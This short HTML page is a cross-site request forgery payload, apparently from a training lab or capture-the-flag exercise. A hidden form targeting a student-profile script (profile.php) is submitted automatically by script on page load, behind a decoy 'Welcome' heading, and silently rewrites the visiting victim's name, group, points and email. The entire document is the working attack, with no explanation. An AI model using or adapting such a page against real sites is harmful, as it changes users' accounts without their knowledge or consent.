<form action="http://students/profile.php" style="display: none" id="f" method="POST">
<input name="name" value="Харука">
<input name="sex" value="Female">
<input name="groupindex" value="31337">
<input name="points" value="1">
<input name="submitted" value="yes">
<input name="sname" value="Харука">
<input name="points" value="1">
<input name="birthdate" value="2000">
<input name="email" value="31337@example.com">
<input type="submit">
</form>
<h1>Welcome</h1>
<script>
document.getElementById('f').submit();
</script>
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